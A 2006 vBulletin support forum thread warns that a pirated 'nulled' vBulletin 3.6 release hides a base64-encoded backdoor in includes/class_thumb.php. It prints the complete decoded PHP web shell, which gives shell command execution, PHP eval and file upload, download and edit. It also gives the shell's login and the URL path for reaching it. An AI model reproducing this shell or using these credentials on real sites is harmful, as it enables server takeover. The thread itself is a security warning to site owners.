форум vBSupport.ru > vBulletin > Вопрос — Ответ > International vBulletin > English Forums
Register Меню vBsupport Изображения Files Manager О рекламе Today's Posts Search
  • Родная гавань
  • Блок РКН снят
  • Premoderation
  • For English speaking users
  • Каталог Фрилансеров
  • If you want to buy some product or script
  • Администраторам
VBsupport перешел с домена .ORG на родной .RU Ура! Пожалуйста, обновите свои закладки - VBsupport.ru
Блок РКН снят, форум доступен на всей территории России, включая новые терртории, без VPN
На форуме введена премодерация ВСЕХ новых пользователей

Почта с временных сервисов, типа mailinator.com, gawab.com и/или прочих, которые предоставляют временный почтовый ящик без регистрации и/или почтовый ящик для рассылки спама, отслеживается и блокируется, а так же заносится в спам-блок форума, аккаунты удаляются
for English speaking users:
You may be surprised with restriction of access to the attachments of the forum. The reason is the recent change in vbsupport.org strategy:

- users with reputation < 10 belong to "simple_users" users' group
- if your reputation > 10 then administrator (kerk, Luvilla) can decide to move you into an "improved" group, but only manually

Main idea is to increase motivation of community members to share their ideas and willingness to support to each other. You may write an article for the subject where you are good enough, you may answer questions, you may share vbulletin.com/org content with vbsupport.org users, receiving "thanks" equal your reputation points. We should not only consume, we should produce something.

- you may:
* increase your reputation (doing something useful for another members of community) and being improved
* purchase temporary access to the improved category:
10 $ for 3 months. - this group can download attachments, reputation/posts do not matter.
20 $ for 3 months. - this group can download attachments, reputation/posts do not matter + adds eliminated + Inbox capacity increased + files manager increased permissions.

Please contact kerk or Luvilla regarding payments.

Important!:
- if your reputation will become less then 0, you will be moved into "simple_users" users' group automatically.*
*for temporary groups (pre-paid for 3 months) reputation/posts do not matter.
Уважаемые пользователи!

На форуме открыт новый раздел "Каталог фрилансеров"

и отдельный раздел для платных заказов "Куплю/Закажу"

Если вы хотите приобрести какой то скрипт/продукт/хак из каталогов перечисленных ниже:
Каталог модулей/хаков
Ещё раз обращаем Ваше внимание: всё, что Вы скачиваете и устанавливаете на свой форум, Вы устанавливаете исключительно на свой страх и риск.
Сообщество vBSupport'а физически не в состоянии проверять все стили, хаки и нули, выкладываемые пользователями.
Помните: безопасность Вашего проекта - Ваша забота.
Убедительная просьба: при обнаружении уязвимостей или сомнительных кодов обязательно отписывайтесь в теме хака/стиля
Спасибо за понимание
 
 
 
 
Takster
Знаток
 
Takster's Avatar
Exclamation SCRiPTMAFiA 3.6 gold WARNING!!
4

Fucking real nice...

/includes/class_thumb.php

eval(base64_decode("JHZlcnNpb24gPSAiMy....

DECODE:

Quote:
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.0 - Licence Number $sm_lickey
|| # ---------------------------------------------------------------- # ||
|| # Copyright c2000-2006 Jelsoft Enterprises Ltd.
<br/>SEO by <a rel="nofollow" href="http://www.crawlability.com/vbseo/">vBSEO</a> 2.4.0 All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

$version = "3.6.0";
$vsplit = "style=\"border-right: #000000 1px solid;\"";
$hsplit = "style=\"border-bottom: #000000 1px solid;\"";


$login='vb';
$hash='b1b3773a05c0ed0176787a4f1574ff0075f7521e'; // sha1("qwerty")

if(!((@$_SERVER["PHP_AUTH_USER"]===$login)&&(sha1(@$_SERVER["PHP_AUTH_PW"])===$hash)))
{
header("WWW-Authenticate: Basic");
header("HTTP/1.0 401 Unauthorized");
die();
}

function cmd($s)
{ return `$s`;}
function safe_mode_is_on()
{ return !ereg("drmist", cmd("echo drmist"));}

function edit($size, $name, $val)
{ return "<input class=\"ed\" type=text size=$size name=$name value=\"$val\">"; }
function button($capt)
{ return "<input type=submit value=\"$capt\">"; }
function hidden($name, $val)
{ return "<input type=hidden name=$name value=\"$val\">"; }
function hidden_pwd()
{ global $location; return hidden("pwd",$location);}

if(version_compare(phpversion(),"4.1.0") == -1)
{ $_POST=&$HTTP_POST_VARS; }
if(@get_magic_quotes_gpc())
foreach ($_POST as $k=>$v)
{ $_POST[$k] = stripslashes($v); }

$action_edit = false;

$printline = "";

if(isset($_POST["action"])) $action = $_POST["action"];
else $action = "cmd";

if(isset($_POST["pwd"]))
{ $pwd = $_POST["pwd"]; $type = filetype($pwd); if($type === "dir")chdir($pwd); else $printline = "\"$pwd\" - no such directory."; }

$location = getcwd();

if(($action === "download")&&(isset($_POST["fname"])))
{
$fname = $_POST["fname"];
if(file_exists($fname))
{
$pathinfo = pathinfo($fname);
header("Content-Transfer-Encoding: binary");
header("Content-type: application/x-download");
header("Content-Length: ".filesize($fname));
header("Content-Disposition: attachment; filename=".$pathinfo["basename"]);
@readfile($fname);
die();
}
else
$printline = "\"$fname\" - download failed.";
}

echo "<head><style>input {border: black 1px solid; background-color:#cfcfcf; font: 8pt verdana;}
textarea {background-color:#dfdfdf; scrollbar-face-color: #dfdfdf; scrollbar-highlight-color: #dfdfdf;
scrollbar-shadow-color: #dfdfdf; scrollbar-3dlight-color: #dfdfdf; scrollbar-arrow-color: #dfdfdf; scrollbar-track-color: #dfdfdf;
scrollbar-darkshadow-color: #dfdfdf; border: black 1px solid; font: fixedsys bold; }
td {padding:0} .ed{background-color: #dfdfdf;} body {margin: 0; padding: 0; background-color: #cfcfcf;} a {color:black;text-decoration:none}
</style><title>vBulletin - Debug v$version</title></head><body><table width=100%>
<tr><td $hsplit><table><tr><td $vsplit><b>vB Debug v$version&nbsp;</b></td><td>id: ".cmd("id")."<br>uname: ".cmd("uname -a")."<br>your ip: ".$_SERVER["REMOTE_ADDR"]." - server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." - safe_mode: ".((safe_mode_is_on()) ? "on" : "off")."</td></tr></table></tr></td>
<tr><td colspan=2 $hsplit><center><form method=post>".hidden("action","save").hidden_pwd()."<textarea cols=120 rows=16 wrap=off name=data>";

echo htmlspecialchars($printline)."\n";

if($action === "cmd")
{
if(isset($_POST["cmd"]))
$cmd = $_POST["cmd"];
else
$cmd = "ls -la";

$result = htmlspecialchars(cmd($cmd));

if($result === "")
$result = cmd("ls -la");

echo $result;
$location = getcwd();
}
elseif(($action === "edit")&&(isset($_POST["fname"])))
{
$fname = $_POST["fname"];
ob_start();

if(!@readfile($fname))
echo "Cann't open file \"$fname\".";
else
$action_edit = true;

$result = ob_get_clean();
@ob_end_clean();
echo htmlspecialchars($result);
}
elseif(($action === "save")&&(isset($_POST["fname"]))&&(isset($_POST["data"])))
{
$fname = $_POST["fname"];
$data = $_POST["data"];
$fid = @fopen($fname, "w");
$fname = htmlspecialchars($fname);

if(!$fid)
echo "Cann't save file \"$fname\".";
else
{
fputs($fid, $data);
fclose($fid);
echo "File \"$fname\" is saved.";
}
}
elseif(($action === "upload")&&(isset($_FILES["file"]))&&(isset($_POST["fname"])))
{
$fname = $_POST["fname"];
if(copy($_FILES["file"]["tmp_name"], $fname))
echo "File \"$fname\" is uploaded.\nFile size: ".filesize($fname)." bytes.";
else
echo "Upload failed!";
}
elseif(($action === "eval")&&(isset($_POST["code"])))
{
$code = $_POST["code"];
ob_start();
@eval($code);
$result = ob_get_clean();
@ob_end_clean();
echo htmlspecialchars($result);
}

echo "</textarea>".(($action_edit) ? "<br>".button(" Save ").hidden("fname",$fname) : "")."</form></center></td></tr>
<tr><td $hsplit><center><form method=post>".hidden("action","cmd")."<table><tr><td width=80>Command:&nbsp;</td><td>".edit(85,"cmd","")."</td></tr><tr><td>Location:&nbsp;</td><td>".edit(85,"pwd",$location)."&nbsp;".button("Execute")."</td></tr></table></form></center></td></tr>
<tr><td $hsplit><center><form method=post>".hidden("action","edit").hidden_pwd()."<table><tr><td width=80>Edit file:</td><td>".edit(85,"fname",$location)."</td><td>".button(" Edit ")."</td></table></form></center></td></tr>

<tr><td $hsplit><table width=100%><tr><td width=50% $vsplit>
<form method=post>".hidden("action","download").hidden_pwd()."<center><table><tr><td width=80>File:</td><td>".edit(50,"fname",$location)."</td><td>".button("Download")."</td></tr></table></center></form>
</td><td width=50%>
<form method=post enctype=multipart/form-data>".hidden("action","upload").hidden_pwd()."<center><table><tr><td width=80>File:</td><td><input class=\"ed\" type=file size=50 name=file></td></tr><tr><td>To file:</td><td>".edit(50,"fname",$location)."&nbsp;".button("Upload")."</td></tr></table></center></form>
</td></tr></table></td></tr>

<tr><td $hsplit><form method=post>".hidden("action","eval").hidden_pwd()."<center><textarea cols=100 rows=4 wrap=off name=code></textarea><br>".button(" Eval ")."</center></form></td></tr>
<tr><td align=right>Copyright &copy;2000 - 2006 Jelsoft Enterprises Limited. All rights reserved.</td></tr></table></body>";

/*======================================================================*\
|| ####################################################################
|| # Downloaded: $sm_time, $sm_date
|| # CVS: $RCSfile: attachment.php,v $ - $Revision: 1.176 $
|| ####################################################################
\*======================================================================*/
?>
Type http://www.site.com/forum/includes/class_thumb.php
Then input vb:qwerty and you can upload files to the host!


The funny thing is the check does not pick this up as an edited file, imho scriptmafia put this in, read the .nfo and you will understand why.
If this is SM's work - well fuck them, better off without him.

Quote:
He decided to fuck everyone on his way out heh? Doesn't surprise me after reading that nfo.. I suggest EVERYONE re-read the comments he posted before deciding you will miss that little bitch or their releases... You were NEVER meant to see one of their releases!! Only the 0-day and Pre-crowd were meant to have access to them.

SCRiPTMAFiA was '''NOT PART OF THE SCRIPT SCENE''' --- They did NOT give a fuck about ANY of you that do NOT have access to the 0-day world.

SCRiPTMAFiA operated in the 0-day crowd where they have NO other competition and they put their noses up to those of us who do work together in the REAL script scene (DGT,WST,GTT,WDYL,WTN,CHT) who work WITH all of you...

My final opinion is a big FUCK YOU and GOOD RIDDENCE to SCRiPTMAFiA

After reading that nfo and seeing this exploit it should be your opinion also
Bot
Yandex Bot Yandex Bot is online now
 
Join Date: 05.05.2005
Реклама на форуме А что у нас тут интересного? =)
 
 
_fr33man_
Простоузер
 
_fr33man_'s Avatar
Default
0

I believe 3.5.5 also has this "feature". While installing a plugin recently, I saw some image files in the root directory of my forum, named "vbthumb8HGyRQ", "vbthumb9QG0pN", "vbthumbaNbPAj", "vbthumbPCifBW" and so on. What I did was forbidding write access by the web server's user to the whole forum directory, except for the avatars and profile pics.

Last edited by _fr33man_ : 09-11-2006 at 06:03 PM.
 


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off




All times are GMT +4. The time now is 06:19 PM.


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.